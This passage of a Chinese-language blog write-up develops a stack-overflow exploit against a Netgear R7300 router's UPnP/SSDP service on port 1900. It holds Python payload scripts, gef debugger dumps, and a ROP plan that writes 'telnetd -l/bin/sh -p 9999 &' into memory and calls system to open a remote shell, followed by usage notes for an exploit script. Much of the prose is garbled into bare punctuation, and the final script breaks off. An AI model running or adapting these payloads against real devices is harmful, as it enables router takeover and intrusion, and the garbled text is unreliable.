< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > #!/usr/bin/python3< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > import socket< / span > < br > < span class = "line" > import struct< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p32 = lambda x: struct.pack(" < L" , x)< / span > < br > < span class = "line" > s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)< / span > < br > < span class = "line" > payload = (< / span > < br > < span class = "line" > 0x634 * b' a' +< / span > < br > < span class = "line" > p32(0x43434343)< / span > < br > < span class = "line" > )< / span > < br > < span class = "line" > print(payload)< / span > < br > < span class = "line" > s.connect((' 192.168.2.2' , 1900))< / span > < br > < span class = "line" > s.send(payload)< / span > < br > < span class = "line" > s.close()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_24.png" alt > < br > < figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > #!/usr/bin/python3< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > import socket< / span > < br > < span class = "line" > import struct< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > p32 = lambda x: struct.pack(" < L" , x)< / span > < br > < span class = "line" > s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)< / span > < br > < span class = "line" > payload = (< / span > < br > < span class = "line" > 0x604 * b' a' + # dummy< / span > < br > < span class = "line" > p32(0x7e2da53c) + # v51< / span > < br > < span class = "line" > (0x634 - 0x604 - 8) * b' a' + # dummy< / span > < br > < span class = "line" > p32(0x43434343) # LR< / span > < br > < span class = "line" > )< / span > < br > < span class = "line" > s.connect((' 192.168.2.2' , 1900))< / span > < br > < span class = "line" > s.send(payload)< / span > < br > < span class = "line" > s.close()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure > < / p >
< p > 可以看到， ， ， ， ？ < a href = "https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html" target = "_blank" rel = "noopener" > https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html< / a > < / p >
< ul >
< li > 首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值， < / li >
< li > 其次关于最低有效位的一个注意事项： ， ： （ ） （ ） < ul >
< li > 我们可以看到R7300是运行在THUMB状态< / li >
< li > 当处理器处于ARM状态时， ， < / li >
< li > 当处理器处于Thumb状态时， ， < / li >
< / ul >
< / li >
< li > 因此保存的LR（ ） ， （ ） ， ， < / li >
< / ul >
< p > 最后检查程序的缓解措施。程序本身开启了NX， ， < br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_25.png" alt > < br > 在堆栈恢复前下一个断点， ， ， （ ， < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > gef➤ b *0x00025F40< / span > < br > < span class = "line" > Breakpoint 1 at 0x25f40< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > .text:00025F40 ADD SP, SP, #0x234< / span > < br > < span class = "line" > .text:00025F44 ADD SP, SP, #0x400< / span > < br > < span class = "line" > .text:00025F48 LDMFD SP!, { R4-R11,PC} < / span > < br > < span class = "line" > < / span > < br > < span class = "line" > **.****text****:****0003E9DC** **** LDR R0, =aReboot_0 ; " reboot" < / span > < br > < span class = "line" > .text:0003E9E0 BL system< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > **payload如下： < / span > < br > < span class = "line" > payload = (< / span > < br > < span class = "line" > 0x604 * b' a' + # dummy< / span > < br > < span class = "line" > p32(0x76d9d450) + # v41< / span > < br > < span class = "line" > (0x634 - 0x604 - 8) * b' a' + # dummy< / span > < br > < span class = "line" > p32(0x0003E9DC) # system(reboot)< / span > < br > < span class = "line" > )< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > **固件模拟日志：**< / span > < br > < span class = "line" > ssdp_http_method_check(203):< / span > < br > < span class = "line" > ssdp_http_method_check(231):Http message error< / span > < br > < span class = "line" > Detaching from process 3477< / span > < br > < span class = "line" > rmmod: dhd.ko: No such file or directory< / span > < br > < span class = "line" > **reboot: rmmod dhd failed: No such file or directory**< / span > < br > < span class = "line" > **[0x0003e9e4] system(' reboot' ) = 0**< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 综合目前的情况：< / p >
< ol >
< li > 目前可以控制< code > R4 - R11< / code > 以及 < code > PC(R15)< / code > 寄存器< / li >
< li > 开了 NX 不能用在栈上布置< code > shellcode< / code > 。< / li >
< li > 有 ASLR， ， < code > gadget< / code > 。< / li >
< li > < code > strcpy()< / code > 函数导致的溢出， < code > \x00< / code > 字符。< / li >
< / ol >
< h2 id = "0x05-漏洞利用" > < a href = "#0x05-漏洞利用" class = "headerlink" title = "0x05 漏洞利用" > < / a > 0x05 漏洞利用< / h2 > < p > 路由器已启用ASLR缓解功能， ， < strong > strcpy< / strong > 来执行复制调用， ， ， < code > stack reuse< / code > ） < br > 注意到recvfrom函数在接收 socket 数据时 buffer 未初始化， ， ， < code > \x00< / code > 防止程序崩溃（ ， ） < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > #!/usr/bin/python3< / span > < br > < span class = "line" > < / span > < br > < span class = "line" > import socket< / span > < br > < span class = "line" > import struct< / span > < br > < span class = "line" > s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)< / span > < br > < span class = "line" > s.connect((' 192.168.2.2' , 1900))< / span > < br > < span class = "line" > s.send(b' \x00' + b' A' * 0x1ff0)< / span > < br > < span class = "line" > s.send(b' \x00' + b' B' * 0x633)< / span > < br > < span class = "line" > s.close()< / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 在strcpy下断点调试， < / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > gef➤ info b< / span > < br > < span class = "line" > Num Type Disp Enb Address What< / span > < br > < span class = "line" > 1 breakpoint keep y 0x76dd6e48 < recvfrom+4> < / span > < br > < span class = "line" > 2 breakpoint keep y 0x76dc350c < strcpy+4> < / span > < br > < span class = "line" > 4 breakpoint keep y 0x00025e70< / span > < br > < span class = "line" > 5 breakpoint keep y 0x00025e74< / span > < br > < span class = "line" > gef➤ search-pattern BBBB< / span > < br > < span class = "line" > [+] Searching ' BBBB' in memory< / span > < br > < span class = "line" > [+] In ' /lib/libc.so.0' (0x76d85000-0x76dea000), permission=r-x< / span > < br > < span class = "line" > 0x76de17e4 - 0x76de17e8 → " BBBB[...]" < / span > < br > < span class = "line" > 0x76de1ecc - 0x76de1edb → " BBBBBBBBCCCCCCC" < / span > < br > < span class = "line" > 0x76de1ed0 - 0x76de1edb → " BBBBCCCCCCC" < / span > < br > < span class = "line" > [+] In ' [stack]' (0x7eb36000-0x7eb6f000), permission=rw-< / span > < br > < span class = "line" > **0x7eb6cc75** - 0x7eb6ccac → " BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" < / span > < br > < span class = "line" > 0x7eb6cc79 - 0x7eb6ccb0 → " BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" < / span > < br > < span class = "line" > 0x7eb6cc7d - 0x7eb6ccb4 → " BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" < / span > < br > < span class = "line" > 0x7eb6cc81 - 0x7eb6ccb8 → " BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" < / span > < br > < span class = "line" > 0x7eb6cc85 - 0x7eb6ccbc → " BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]" < / span > < br > < span class = "line" > gef➤ x/s 0x7eb6cc75< / span > < br > < span class = "line" > 0x7eb6cc75: ' B' < repeats 1587 times> < / span > < br > < span class = "line" > gef➤ x/s 0x7eb6cc75+1588< / span > < br > < span class = "line" > 0x7eb6d2a9: ' A' < repeats 6588 times> < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
< p > 此时程序上下文为< / p >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > gef➤ context< / span > < br > < span class = "line" > [ Legend: Modified register | Code | Heap | Stack | String ]< / span > < br > < span class = "line" > ───────────────────────────────────────────────────────────────────────────────────────────── registers ────< / span > < br > < span class = "line" > $r0 : 0x7eb6c5fc → 0x00000000< / span > < br > < span class = "line" > **$r1 : 0x7eb6cc74** → 0x42424200< / span > < br > < span class = "line" > $r2 : 0x1d < / span > < br > < span class = "line" > $r3 : 0x7eb6c5fc → 0x00000000< / span > < br > < span class = "line" > **$r4 : 0x7eb6cc74** → 0x42424200< / span > < br > < span class = "line" > $r5 : 0x0000cf02 → blx 0x10c6586< / span > < br > < span class = "line" > $r6 : 0x7eb6ecf4 → " 192.168.2.1" < / span > < br > < span class = "line" > $r7 : 0x7eb6cc00 → 0x7eb6c5fc → 0x00000000< / span > < br > < span class = "line" > $r8 : 0x7eb6cc04 → 0x76f10020 → 0x00000000< / span > < br > < span class = "line" > $r9 : 0x3eaf < / span > < br > < span class = "line" > $r10 : 0x1 < / span > < br > < span class = "line" > $r11 : 0x000c4584 → 0x00000005< / span > < br > < span class = "line" > $r12 : 0x00055450 → 0x76dc3508 → < strcpy+0> mov r3, r0< / span > < br > < span class = "line" > $sp : 0x7eb6c5d8 → " nnection:1" < / span > < br > < span class = "line" > $lr : 0x00025e74 → mov r0, r7< / span > < br > < span class = "line" > $pc : 0x76dc350c → < strcpy+4> ldrb r2, [r1], #1< / span > < br > < span class = "line" > $cpsr: [NEGATIVE zero carry overflow interrupt fast thumb]< / span > < br > < span class = "line" > ───────────────────────────────────────────────────────────────────────────────────────────────── stack ────< / span > < br > < span class = "line" > 0x7eb6c5d8│+0x0000: " nnection:1" ← $sp< / span > < br > < span class = "line" > 0x7eb6c5dc│+0x0004: " tion:1" < / span > < br > < span class = "line" > 0x7eb6c5e0│+0x0008: 0x0000313a (" :1" ?)< / span > < br > < span class = "line" > 0x7eb6c5e4│+0x000c: 0x00000000< / span > < br > < span class = "line" > 0x7eb6c5e8│+0x0010: 0x00000000< / span > < br > < span class = "line" > 0x7eb6c5ec│+0x0014: 0x00000000< / span > < br > < span class = "line" > 0x7eb6c5f0│+0x0018: 0x00000000< / span > < br > < span class = "line" > 0x7eb6c5f4│+0x001c: 0x00000000< / span > < br > < span class = "lin
< p > 由于接收 socket 数据的 buffer 未初始化，在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间，也足以给 ROP 的 payload 一片容身之地。< / p >
< p > 使用 < code > strcpy< / code > 调用在 bss 上拼接出命令字符串 < code > telnetd\x20-l/bin/sh\x20-p\x209999\x20& \x20\x00< / code > ，并调整 R0 指向这段内存，然后跳转 < code > system< / code > 执行即可。< br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_26.png" alt > < / p >
< h2 id = "0x06-脚本使用说明" > < a href = "#0x06-脚本使用说明" class = "headerlink" title = "0x06 脚本使用说明" > < / a > < strong > 0x06 脚本使用说明< / strong > < / h2 > < table >
< thead >
< tr >
< th > 脚本帮助：< / th >
< th > usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】< / th >
< / tr >
< / thead >
< tbody >
< tr >
< td > 真实利用：< / td >
< td > IP:192.168.2.2 Port:upnp/1900< / td >
< / tr >
< tr >
< td > < / td >
< td > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083779/netgear/image_27.png" alt > < / td >
< / tr >
< / tbody >
< / table >
< figure class = "highlight plain" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < span class = "line" > 9< / span > < br > < span class = "line" > 10< / span > < br > < span class = "line" > 11< / span > < br > < span class = "line" > 12< / span > < br > < span class = "line" > 13< / span > < br > < span class = "line" > 14< / span > < br > < span class = "line" > 15< / span > < br > < span class = "line" > 16< / span > < br > < span class = "line" > 17< / span > < br > < span class = "line" > 18< / span > < br > < span class = "line" > 19< / span > < br > < span class = "line" > 20< / span > < br > < span class = "line" > 21< / span > < br > < span class = "line" > 22< / span > < br > < span class = "line" > 23< / span > < br > < span class = "line" > 24< / span > < br > < span class = "line" > 25< / span > < br > < span class = "line" > 26< / span > < br > < span class = "line" > 27< / span > < br > < span class = "line" > 28< / span > < br > < span class = "line" > 29< / span > < br > < span class = "line" > 30< / span > < br > < span class = "line" > 31< / span > < br > < span class = "line" > 32< / span > < br > < span class = "line" > 33< / span > < br > < span class = "line" > 34< / span > < br > < span class = "line" > 35< / span > < br > < span class = "line" > 36< / span > < br > < span class = "line" > 37< / span > < br > < span class = "line" > 38< / span > < br > < span class = "line" > 39< / span > < br > < span class = "line" > 40< / span > < br > < span class = "line" > 41< / span > < br > < span class = "line" > 42< / span > < br > < span class = "line" > 43< / span > < br > < span class = "line" > 44< / span > < br > < span class = "line" > 45< / span > < br > < span class = "line" > 46< / span > < br > < span class = "line" > 47< / span > < br > < span class = "line" > 48< / span > < br > < span class = "line" > 49< / span > < br > < span class = "line" > 50< / span > < br > < span class = "line" > 51< / span > < br > < span class = "line" > 52< / span > < br > < span class = "line" > 53< / span > < br > < span class = "line" > 54< / span > < br > < span class = "line" > 55< / span > < br > < span class = "line" > 56< / span > < br > < span class = "line" > 57< / span > < br > < span class = "line" > 58< / span > < br > < span class = "line" > 59< / span > < br > < span class = "line" > 60< / span > < br > < span class = "line" > 61< / span > < br > < span class = "line" > 62< / span > < br > < span class = "line" > 63< / span > < br > < span class = "line" > 64< / span > < br > < span class = "line" > 65< / span > < br > < span class = "line" > 66< / span > < br > < span class = "line" > 67< / span > < br > < span class = "line" > 68< / span > < br > < span class = "line" > 69< / span > < br > < span class = "line" > 70< / span > < br > < span class = "line" > 71< / span > < br > < span class = "line" > 72< / span > < br > < span class = "line" > 73< / span > < br > < span class = "line" > 74< / span > < br > < span class = "line" > 75< / span > < br > < span class = "line" > 76< / span > < br > < span class = "line" > 77< / span > < br > < span class = "line" > 78< / span > < br > < span class = "line" > 79< / span > < br > < span class = "line" > 80< / span > < br > < span class = "line" > 81< / span > < br > < span class = "line" > 82< / span > < br > < span class = "line" > 83< / span > < br > < span class = "line" > 84< / span > < br > < span class = "line" > 85< / span > < br > < span class = "line" > 86< / span > < br > < span class = "line" > 87< / span > < br > < span class = "line" > 88< / span > < br > < span class = "line" > 89< / span > < br > < span class = "line" > 90< / span > < br > < span class = "line" > 91< / span > < br > < span class = "line" > 92< / span > < br > < span class = "line" > 93< / span > < br > < span class = "line" > 94< / span > < br > < span class = "line" > 95< / span > < br > < span class = "line" > 96< / span > < br > < span class = "line" > 97< / span > < br > < span class = "line" > 98< / span > < br > < span class = "line" > 99< / span > < br > < span class = "line" > 100< / span > < br > < span class = "line" > 101< / span > < br > < span class = "line" > 102< / span > < br > < span class = "line" > 103< / span > < br > < span class = "line" > 104< / span > < br > < span class = "line" > 105< / span > < br > < span class = "line" > 106< / span > < br > < span class = "line" > 107< / span > < br > < span class = "line" > 108< / span > < br > < span class = "line" > 109< / span > < br > < span class = "line" > 110< / span > < br > < span class = "line" > 111< / span > < br > < span class = "line" > 112< / span > < br > < span class = "line" > 113< / span > < br > < span class = "line" > 114< / span > < br > < span class = "line" > 115< / span > < br > < span class = "line" > 116< / span > < br > < span class = "line" > 117< / span > < br > < span class = "line" > 118< / span > < br > < span class = "line" > 119< / span > < br > < span class = "line" > 120< / span > < br > < span class = "line" > 121< / span > < br > < span class = "line" > 122< / span > < br > < span class = "line" > 123< / span > < br > < span class = "line" > 124< / span > < br > < span class = "line" > 125< / span > < br > < span class
< / div >
< div >
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< div > 您的支持将鼓励我继续创作！< / div >
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